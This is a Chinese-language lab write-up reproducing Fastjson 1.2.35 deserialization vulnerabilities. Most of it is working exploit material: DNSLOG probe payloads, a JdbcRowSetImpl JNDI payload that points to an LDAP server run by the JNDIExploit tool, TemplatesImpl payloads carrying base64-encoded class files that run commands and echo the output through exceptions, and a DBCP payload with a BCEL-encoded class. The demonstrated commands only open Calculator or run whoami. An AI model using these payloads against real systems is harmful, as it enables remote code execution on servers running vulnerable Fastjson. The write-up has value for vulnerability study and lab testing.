Fastjson漏洞复现

前些日子遇到了Fastjson1.2.35,该版本存在反序列化漏洞。但由于服务器不出网,只能验证dnslog。通过网上搜索发现bytecode的方式,但是payload无法成功将命令执行从异常带回来。因此,尝试自己复现了解一下是何情况。

fastjson-error

环境搭建

通过idea生成Maven项目,并将对应版本的fastjson添加至pom.xml中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>FastjsonTest</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.35</version>
</dependency>
</dependencies>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<java.version>1.8</java.version>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
</project>

右键pom.xml文件,选择【Maven】-【下载源和文档】即可成功搭建成功。

fastjson-pom-maven

漏洞复现

主要是从dnslog、JNDI、bytecode等方式进行复现利用。可通过{"a":"进行验证是否是fastjson。如果异常报错被自定义,那么就盲打吧。

fastjson-verify

DNSLOG

在【src】-【main】-【java】文件夹下新建一个poc类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;

public class poc {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog\"}";
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}

这时候dns服务器已经成功收到了dns请求。下面是几个常见的dnslog请求的poc。

1
2
3
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

JNDI

如果服务器出网,可使用JNDI的方式进行反弹等操作,这里我使用JNDIExploit这个工具。由于不知为何通过Basic的方式无法成功执行命令。所以,本地环境采用了tomcat、fastjson.war进行部署。通过java -jar JNDIExploit.jar -i 0.0.0.0 -p 8009启动服务之后,对漏洞环境直接发起对应请求即可。Ps:下面那段是Base64命令为open /System/Applications/Calculator.app

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==",
"autoCommit": true
}
}

但由于许多大型企业、金融等服务器基本不出网,所以这种利用方式也比较困难。

ByteCode

经常会遇到无法出网的机器,这时候无法通过JNDI来进行反弹等操作。可尝试通过ByteCode的方式进行命令执行,将执行的结果带入到异常中,将异常抛出即可。但这种方法有一个前提:json解析的时候需要设置Feature.SupportNonPublicField,jSON.parse(payload, Feature.SupportNonPublicField);。由于这个前提的存在,基本不太可能能在实战环境成功遇到。

命令执行

ByteCode生成

新建test类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test extends AbstractTranslet {
public test() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
test t = new test();
}
}

通过javac test.java生成test.class文件,然后通过python将test.class内容进行Base64编码。

1
2
3
4
5
6
7
8
9
10
import base64

fin = open(r"test.class", "rb")
fout = open(r"test.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
print(s)
fout.write(s)
fin.close()
fout.close()

POC利用

修改poc类,其中的_bytecodes为test.txt文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class poc {
public static void main(String[] args) {
String payload = "{\n" +
"\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\": [\n" +
"\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==\"\n" +
"],\n" +
"\"_name\": \"a\",\n" +
"\"_tfactory\": {},\n" +
"\"_outputProperties\": {},\n" +
"\"_version\": \"1.0\",\n" +
"\"allowedProtocols\": \"all\"\n" +
"}";

try {
JSON.parse(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

POC示例

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg=="
],
"_name": "a",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}

命令回显

通过将命令执行的结果传入到异常,最后抛出该异常,即可成功实现命令回显。

ByteCode生成

新建testEx类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedInputStream;
import java.io.IOException;

public class testEx extends AbstractTranslet {
private static final String ex = "";
static {
try {
String ex = exec("whoami");
throw new Exception(ex);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String exec(String cmd) throws Exception {
try {
String s = "";
int len;
int bufSize = 4096;
byte[] buffer = new byte[bufSize];
BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
.exec(cmd)
.getInputStream(),
bufSize);

while ((len = bis.read(buffer, 0, bufSize)) != -1)
s += new String(buffer, 0, len);
bis.close();
return s;
} catch (Exception e) {
return e.getMessage();
}
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
testEx t = new testEx();
}
}

通过javac testEx.java生成testEx.class文件,然后通过python将testEx.class内容进行Base64编码。

POC利用

只需要将_bytecodes数据进行替换即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class poc {
public static void main(String[] args) {
String payload = "{\n" +
"\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\": [\n" +
"\"yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA==\"\n" +
"],\n" +
"\"_name\": \"a\",\n" +
"\"_tfactory\": {},\n" +
"\"_outputProperties\": {},\n" +
"\"_version\": \"1.0\",\n" +
"\"allowedProtocols\": \"all\"\n" +
"}";

try {
JSON.parse(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

效果如下图:

fastjson- exception-cmd

POC示例

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA=="
],
"_name": "a",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}

DBCP

还有一种执行命令的方式,通过DBCP,但该方式也有一定局限性。

依赖添加

先添加dbcp依赖,在pom.xml中添加如下内容,并更新maven:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>

POC利用

新建poc_1类,代码如下,并执行javac poc_1.java

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class poc_1 {
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}

修改poc类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class poc {
public static String class2BCEL(String classFile) throws Exception{
Path path = Paths.get(classFile);
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);
System.out.println(result);
return result;
}

public static void main(String[] args) {
String classFile = "/Users/hywell/Desktop/fastjsonTest/src/main/java/poc_1.class";
try {
String className = "$$BCEL$$"+class2BCEL(classFile);
String payload = "{\n" +
" \"@type\" : \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassName\" : \""+className+"\",\n" +
" \"driverClassLoader\" :\n" +
" {\n" +
" \"@type\":\"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;\"\n" +
" }\n" +
"}";
JSON.parseObject(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}

poc示例

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMK$D1$Q$7d$e9$d7n$d7$d5$da$fa$fd$5dOV$P$$$827E$QQ$Q$ab$V$xz$944$86$S$dd$ee$86m$w$fa$8b$3c$7bQ$f1$e0$P$f0G$89$93$m$w$98$c3L$f2$e6$bd$97$99$f9$f8$7c$7b$H$b0$89$e5$A$3ej$B$c60$eec$c2$e6I$PS$B$8a$98$f60$e3a$96$a1$b4$ad$Sev$Y$f2$8d$d5$L$86$c2$5ez$z$Z$wM$95$c8$93A$af$p$b3s$de$89$J$f1$b7E$fc$cd$in$h$$n$8f$b9v$r2d$I$da$e9$m$T$f2$40Yj$a0Sq$b5$b1$7e$c3$efx$882$C$Ps$n$e6$b1$c0$d0H$b5L$eaQ$fb$a1od$_$da$d5$3aV$82$h$95$s$fdh$8f$c7b$Qs$93f$eb$5c$eb$Q$8bXb$Y$b3$k$91J$a3$c3$d6$fe$bd$90$daRC$d4$R0$U$dd$t$M$a3$8e$S$f3$a4$h$b5$3a7R$Y$86$ea$_t6H$8c$ea$d9$9e$ba$d2$fc$3c$s$g$ab$cd$7f$9c$z$g$5e$deK$c1$b0$d2$f8Sm$9bL$r$dd$ad$bf$82$d3$y$V$b2$df$tAES$d1$b8u$9cg$5cH$y$c3$a3$8d$db$93$D$b3$b3S$i$a2$d7$CeF$b9$b8$f6$C$f6D$X$86$90b$c9$81y$92$M$ffP$5bN$K$d4$5e$91$ab$e5$9fQ$b8$7c$84$7f$b4$f6$8c$d2$93$c3$cb$a4$y$S$c7$ea$t$e9f$5d$ca$O$f5$c8$c5G$95$9cF$I$f5$90kz$a8$UH4$ea$fa$a9$7e$B$8e$R$yW$X$C$A$A",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

总结

FastJson的漏洞利用,基本只能止步于DNSLOG的方式。或许偶尔能遇到DBCP、JNDI的利用方式,TemplatesImpl方式基本别想了。

  • TemplatesImpl的利用要求苛刻需要解析的时候设置Feature.SupportNonPublicField
  • DBCP的利用需要依赖对应的包,如org.apache.commons.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSource,其中org.apache.tomcat.dbcp.dbcp.BasicDataSource为tomcat自带,但是执行json解析的代码需要为JSON.parseObject,如果为JSON.parse则无法利用